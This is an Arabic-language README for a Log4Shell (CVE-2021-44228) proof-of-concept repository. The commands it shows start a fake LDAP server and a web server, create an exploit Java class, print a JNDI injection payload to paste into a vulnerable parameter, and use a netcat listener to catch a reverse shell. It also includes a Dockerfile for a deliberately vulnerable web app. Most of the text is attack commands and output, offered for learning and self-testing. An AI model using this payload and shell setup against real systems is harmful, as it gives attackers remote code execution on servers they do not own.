
إثبات مفهوم لثغرة CVE-2021-44228 المكتشفة مؤخرًا.
مؤخرًا ظهرت ثغرة جديدة في log4j، وهي مكتبة تسجيل بلغة Java تُستخدم على نطاق واسع في تطبيقات مثل Elasticsearch وMinecraft وغيرها الكثير.
يحتوي هذا المستودع على تطبيق هشّ كمثال واستغلال إثبات مفهوم (POC) له.
كإثبات مفهوم، يوجد ملف Python يقوم بأتمتة العملية.
pip install -r requirements.txt
nc -lvnp <netcat-port=example=2034>
jdk1.8.0_20، وأن يكون في نفس الدليل.$ python3 poc.py --userip <your-ip-address> --webport <web-server-port=default=8000> --lport <netcat-listen-port=default=2034>
[!] CVE: CVE-2021-44228
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<your-ip-address>:1389/a}
Listening on 0.0.0.0:1389
سيقوم هذا السكربت بإعداد خادم HTTP وخادم LDAP لك، وسينشئ أيضًا الحمولة (Payload) التي يمكنك لصقها في المعامل الهش. بعد ذلك، إذا سارت الأمور بشكل صحيح، يجب أن تحصل على شل على منفذ lport.
يوجد ملف Dockerfile يحتوي على تطبيق الويب الهش. يمكنك استخدامه باتباع الخطوات التالية:
1: docker build -t log4j-shell-poc .
2: docker run -p 8080:8080 log4j-shell-poc
بمجرد تشغيله، يمكنك الوصول إليه على localhost:8080
ملاحظة: يجب عليك إنشاء حساب لتتمكن من تنزيل الحزمة.
بعد تنزيل الأرشيف واستخراجه، يمكنك العثور على java وبعض الملفات الثنائية ذات الصلة في jdk1.8.0_20/bin.
ملاحظة: تأكد من استخراج مجلد jdk إلى هذا المستودع بنفس الاسم حتى يعمل.
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
هذا المستودع ليس مخصصًا ليكون استغلالًا بنقرة واحدة لثغرة CVE-2021-44228. الغرض من هذا المشروع هو مساعدة الأشخاص على التعلم عن هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة (غير أنه توجد تطبيقات أفضل لهذا الغرض، مثل: https://log4shell.tools/).